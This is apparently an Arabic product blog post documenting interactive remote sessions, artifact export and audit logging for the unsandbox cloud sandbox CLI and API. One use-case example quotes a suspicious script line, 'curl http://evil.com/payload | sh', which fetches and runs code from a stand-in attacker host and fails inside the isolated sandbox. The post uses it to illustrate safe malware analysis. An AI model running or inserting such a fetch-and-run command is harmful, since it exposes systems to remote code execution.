الجلسات البعيدة: الأوامر التفاعلية و REPLs في السحابة
في منشورنا السابق، أظهرنا كيفية نقل الملفات إلى داخل الصناديق الرملية. ولكن ماذا عن إخراج البيانات منها؟ وماذا لو كنت بحاجة إلى أكثر من تنفيذ لمرة واحدة - ماذا لو كنت بحاجة إلى جلسة تفاعلية فعلية؟
نقدم اليوم الجلسات البعيدة - أوامر تفاعلية مستمرة تعمل داخل حاويات unsandbox. فكر في الأمر كاتصال SSH بجهاز افتراضي سحابي، ولكنه مؤقت ومعزول ومع مراجعة مدمجة.
التطور: من التنفيذ إلى الجلسة
كانت واجهة API الأصلية بسيطة: أرسل الكود، احصل على المخرجات.
POST /execute → { stdout, stderr, exit_code }
هذا يعمل بشكل رائع للأتمتة، لكن المطورين أرادوا المزيد:
- “هل يمكنني التفاعل بشكل استكشافي؟”
- “هل يمكنني تثبيت الحزم أثناء الجلسة؟”
- “هل يمكنني استخدام vim لتحرير الملفات؟”
- “هل يمكنني الحصول على Python REPL بدلاً من bash؟”
- “هل يمكنني تصدير الملفات التي أنشأتها؟”
الإجابة على كل هذه الأسئلة الآن هي نعم.
النقل الآني يعمل في كلا الاتجاهين
تذكر نقل الملفات الآني؟ تذهب الملفات إلى داخل الصناديق الرملية عبر /tmp/input/. الآن يمكنها الخروج عبر /tmp/artifacts/.
┌─────────────────────────────────────────────────────────────────┐
│ Your Machine │
└─────────────────────────────────────────────────────────────────┘
│ ▲
│ un session │ Artifacts
│ un script.py -f data.csv │ (on exit)
▼ │
┌─────────────────────────────────────────────────────────────────┐
│ unsandbox Container │
│ │
│ /tmp/input/ Your Code /tmp/artifacts/ │
│ ├─ data.csv ───► Processes ───► ├─ results.csv │
│ └─ config.json Files ├─ model.pkl │
│ └─ report.pdf │
└─────────────────────────────────────────────────────────────────┘
النقل الآني ثنائي الاتجاه:
-
الوارد - الملفات التي ترسلها تصل إلى
/tmp/input/ -
الصادر - الملفات التي تنشئها في
/tmp/artifacts/تعود إليك
أداة un CLI: بوابتك إلى الصناديق الرملية البعيدة
قمنا ببناء أداة CLI أصلية تجعل التنفيذ البعيد يبدو محلياً:
تنفيذ سكريبت
# تشغيل سكريبت Python
un script.py
# مع ملفات الإدخال (المنقولة آنياً)
un -f data.csv -f config.json process.py
# إرجاع المصنوعات المجمعة
un -a -o ./bin main.c
العلامة -a تخبر unsandbox بجمع أي شيء تضعه في /tmp/artifacts/ وإرساله مرة أخرى. مثالي لـ:
- الملفات التنفيذية المجمعة من C/Rust/Go
- التقارير المولدة (PDF، CSV)
- نماذج التعلم الآلي المدربة
- الصور المعالجة
الجلسات التفاعلية
# بدء جلسة bash تفاعلية
un session
# اختر الأمر الخاص بك
un session --shell zsh
un session --shell fish
# أو انتقل مباشرة إلى REPL
un session --shell python3
un session --shell node
un session --shell julia
ما تحصل عليه:
- PTY كامل مع الألوان ووضع المؤشر
- إكمال تلقائي بالضغط على Tab
- السجل (مفاتيح الأسهم تعمل)
- دعم تغيير الحجم (vim/nano يعملان فقط)
- tmux من الأسفل (الجلسات تستمر خلال انقطاع الاتصال)
الأوامر و REPLs المتاحة
نحن ندعم أكثر من 30 أمراً و REPL:
الأوامر التقليدية:
bash, dash, sh, zsh, fish, ksh, tcsh, csh, elvish, xonsh, ash
REPLs اللغات:
python3, bpython, ipython # Python
node # JavaScript
ruby, irb # Ruby
lua # Lua
php # PHP
perl # Perl
guile, scheme # Scheme
ghci # Haskell
erl, iex # Erlang/Elixir
sbcl, clisp # Common Lisp
r # R
julia # Julia
clojure # Clojure
مثال: Python REPL في السحابة
$ un session --shell python3
Connecting to unsandbox... done
>>> import numpy as np
>>> np.random.seed(42)
>>> np.random.randn(3, 3)
array([[ 0.49671415, -0.1382643 , 0.64768854],
[ 1.52302986, -0.23415337, -0.23413696],
[ 1.57921282, 0.76743473, -0.46947439]])
>>> exit()
Session ended.
استمرارية الجلسة: اختيارك
بشكل افتراضي، الجلسات مؤقتة - عندما تقطع الاتصال، يتم تدمير الحاوية فوراً. هذا هو الخيار الأكثر أماناً: خروج نظيف، لا موارد متروكة.
لكن أحياناً تحتاج إلى الاستمرارية. استخدم --tmux أو --screen لتمكين دعم إعادة الاتصال:
# الافتراضي: تنتهي الجلسة عند قطع الاتصال (خروج نظيف)
$ un session
root@unsb-vm-12345:~$ exit
Session ended.
# مع --tmux: تستمر الجلسة، يمكن إعادة الاتصال لاحقاً
$ un session --tmux
root@unsb-vm-12345:~$ # اضغط Ctrl+b ثم d للفصل
Session detached. Reconnect with: un session --attach unsb-vm-12345
مقارنة سلوك الجلسة
| الوضع | عند قطع الاتصال | عند الخروج | حالة الاستخدام |
|---|---|---|---|
| الافتراضي | تدمير الحاوية | تدمير الحاوية | مهام سريعة، لوحة نظيفة |
--tmux |
تستمر الجلسة | تدمير الحاوية | عمل طويل الأمد، يشبه SSH |
--screen |
تستمر الجلسة | تدمير الحاوية | بديل لـ tmux |
إدارة الجلسات المستمرة
# سرد جميع جلساتك النشطة
$ un session --list
Active sessions: 2
SESSION ID CONTAINER SHELL TTL STATUS
abc123... unsb-vm-56789 bash 58m30s active
def456... unsb-vm-56790 python3 45m12s active
# إعادة الاتصال باسم الحاوية (أسهل للتذكر)
$ un session --attach unsb-vm-56789
Reconnecting to session abc123... done
root@unsb-vm-56789:~$ echo "still here!"
still here!
# أو إنهاء جلسة عن بعد
$ un session --kill unsb-vm-56789
Terminating session abc123... done
Session terminated successfully
الفصل من tmux/screen:
-
tmux: اضغط
Ctrl+bثمd -
screen: اضغط
Ctrl+aثمd
مهم: إذا كنت تشغل un داخل جلسة tmux محلية، استخدم --screen بدلاً من ذلك لتجنب تعارضات اختصارات لوحة المفاتيح.
استخراج المصنوعات: احصل على بياناتك
أي شيء تضعه في /tmp/artifacts/ يتم جمعه عندما تنتهي الجلسة:
$ un session -a -o ./outputs
Connecting to unsandbox... done
root@sandbox:~$ python3 -c "
import json
with open('/tmp/artifacts/results.json', 'w') as f:
json.dump({'answer': 42}, f)
"
root@sandbox:~$ echo "hello" > /tmp/artifacts/notes.txt
root@sandbox:~$ exit
Session ended.
Artifact saved: results-sandbox-abc123.json (16 bytes)
Artifact saved: notes-sandbox-abc123.txt (6 bytes)
ميزات المصنوعات:
- يتم جمعها تلقائياً عند انتهاء الجلسة
- مُلحقة باسم الحاوية (لا تداخل عبر الجلسات)
- تعمل مع الملفات الثنائية (الصور، الملفات التنفيذية، الأرشيفات)
- الملفات الفارغة مدعومة (لملفات العلامات)
المراجعة: تسجيل كل شيء
للامتثال، أو تصحيح الأخطاء، أو مجرد الفضول، قم بتمكين التسجيل الكامل للجلسة:
$ un session --audit -o ./logs
Connecting to unsandbox... done
root@sandbox:~$ vim test.py # تم تسجيل جلسة vim الكاملة
root@sandbox:~$ python3 test.py
Hello, world!
root@sandbox:~$ exit
Session ended.
Artifact saved: session.log-sandbox-abc123.gz (45678 bytes)
Artifact saved: bash_history-sandbox-abc123 (234 bytes)
Tip: Replay session with: zcat session.log*.gz | less -R
ما يتم تسجيله:
| الوضع | ما يتم التقاطه | الحجم |
|---|---|---|
--audit عند الإنشاء |
إدخال/إخراج الطرفية الكامل (كل ضغطة مفتاح، كل إخراج) | ~1-5 ميجابايت/جلسة |
--audit عند الإنهاء |
فقط bash_history (الأوامر فقط) | ~1 كيلوبايت |
| كلاهما | كل شيء | كلا الملفين |
يحتوي session.log على:
- جميع الأحرف المرسلة إلى الطرفية (بما في ذلك أكواد الهروب)
- جلسات vim/nano الكاملة مع حركات المؤشر
- إخراج Python/Node التفاعلي
- الألوان، التنسيق، كل شيء
إعادة التشغيل مع:
# عرض التسجيل
zcat session.log-sandbox-abc123.gz | less -R
# أو استخدم scriptreplay لإعادة التشغيل في الوقت الفعلي (إذا تم التقاط التوقيت)
scriptreplay -t timing.log -s session.log
الأمان: نفس نموذج الثقة الصفرية
تحافظ الجلسات على جميع ضمانات الأمان لدينا:
عزل الشبكة:
root@sandbox:~$ curl google.com
curl: (6) Could not resolve host: google.com
root@sandbox:~$ ping 8.8.8.8
ping: connect: Network is unreachable
ما لم تطلب صراحة الوصول إلى الشبكة:
un session -n semitrusted # تمكين شبكة الصادر
مؤقت بالتصميم:
-
تدمير الحاوية عند
exit - لا استمرارية بين الجلسات
- كل جلسة معزولة تماماً
حدود الموارد:
- الذاكرة: محددة لكل حاوية
- المعالج: جدولة حصة عادلة
- القرص: tmpfs مع حدود الحجم
- الوقت: تنظيف تلقائي بعد انتهاء المهلة
مرجع API
إنشاء جلسة
POST /sessions
{
"network_mode": "zerotrust", # or "semitrusted"
"ttl": 3600, # seconds (max 86400)
"shell": "bash", # see supported list
"audit": true, # enable session recording
"multiplexer": "tmux" # or "screen", or omit for none
}
Response:
{
"session_id": "abc123...",
"container_name": "unsb-vm-12345",
"multiplexer": "tmux",
"websocket_url": "/sessions/abc123/shell"
}
سلوك Multiplexer:
- محذوف/null: تنتهي الجلسة فوراً عند قطع اتصال WebSocket
- “tmux”: تستمر الجلسة عبر tmux، أعد الاتصال بنفس نقطة نهاية WebSocket
- “screen”: تستمر الجلسة عبر GNU screen، أعد الاتصال بنفس نقطة نهاية WebSocket
الاتصال عبر WebSocket
WSS /sessions/:id/shell
Binary frames → stdin
Binary frames ← stdout
JSON frames ← control (ready, exit, error)
الإنهاء والحصول على المصنوعات
DELETE /sessions/:id?audit=1
Response:
{
"success": true,
"artifacts": [
{"filename": "results.json", "content_base64": "..."},
{"filename": "session.log.gz", "content_base64": "..."}
]
}
حالات الاستخدام الواقعية
1. جلسات البرمجة بواسطة AI Agent
امنح وكيل AI الخاص بك بيئة مستمرة:
# Agent creates session
session = unsandbox.create_session(shell="python3")
# Agent works interactively
session.send("import pandas as pd\n")
session.send("df = pd.read_csv('/tmp/input/data.csv')\n")
session.send("df.to_csv('/tmp/artifacts/processed.csv')\n")
# Get results
artifacts = session.terminate(audit=True)
# → processed.csv + session.log.gz for review
2. بيئة التطوير البعيدة
هل تحتاج إلى بيئة نظيفة للاختبار؟
# بدء جلسة مع شبكة لتثبيت الحزم
un session -n semitrusted --shell bash
# تثبيت ما تحتاجه
root@sandbox:~$ pip install pytorch transformers
root@sandbox:~$ npm install -g typescript
# قم بعملك
root@sandbox:~$ python train.py
root@sandbox:~$ cp model.pt /tmp/artifacts/
# الخروج والحصول على نموذجك
root@sandbox:~$ exit
Artifact saved: model-sandbox-xyz.pt (150MB)
3. البحث الأمني
تحليل السكريبتات المشبوهة بأمان:
un session --audit -o ./analysis
root@sandbox:~$ cat /tmp/input/suspicious.sh
#!/bin/bash
curl http://evil.com/payload | sh # Can't reach evil.com!
root@sandbox:~$ bash /tmp/input/suspicious.sh
curl: (6) Could not resolve host: evil.com
root@sandbox:~$ exit
# Full session recorded for analysis
4. التعليم والدروس
يحصل الطلاب على بيئاتهم المعزولة الخاصة:
# يشغل الطالب
un session --shell python3
>>> # Follow along with the tutorial
>>> import matplotlib.pyplot as plt
>>> plt.plot([1, 2, 3], [1, 4, 9])
>>> plt.savefig('/tmp/artifacts/plot.png')
>>> exit()
# يحصل الطالب على رسمه البياني
Artifact saved: plot-sandbox-xyz.png (12KB)
مرجع CLI السريع
# تنفيذ السكريبتات
un script.py # Execute Python script
un -e DEBUG=1 script.py # With environment variable
un -f data.csv process.py # With input file
un -a -o ./bin main.c # Save compiled artifacts
# الجلسات التفاعلية
un session # Bash shell (terminates on disconnect)
un session --tmux # Bash with tmux (can reconnect)
un session --screen # Bash with screen (can reconnect)
un session --shell python3 # Python REPL
un session --shell node --tmux # Node.js REPL with reconnect
un session -n semitrusted # Session with network access
# إدارة الجلسات
un session --list # List active sessions
un session --attach unsb-vm-12345 # Reconnect by container name
un session --kill unsb-vm-12345 # Terminate a session
# المراجعة والمصنوعات
un session --audit -o ./logs # Record session for auditing
un session -a -o ./out # Save /tmp/artifacts/ to ./out
ما التالي؟
نحن نعمل على:
- مشاركة الجلسة - مستخدمون متعددون في نفس الجلسة
- التخزين المستمر - تركيبات الأحجام الاختيارية
- الوصول إلى GPU - حاويات ممكّنة بـ CUDA
- صور مخصصة - أحضر حاويتك الخاصة
جربها الآن
-
احصل على CLI:
# Download from releases or build from source curl -L https://unsandbox.com/cli/un -o un chmod +x un -
اضبط مفتاح API الخاص بك:
export UNSANDBOX_API_KEY=your_key_here -
ابدأ جلسة:
un session --shell python3
مرحباً بك في صندوقك الرملي السحابي. ماذا ستبني؟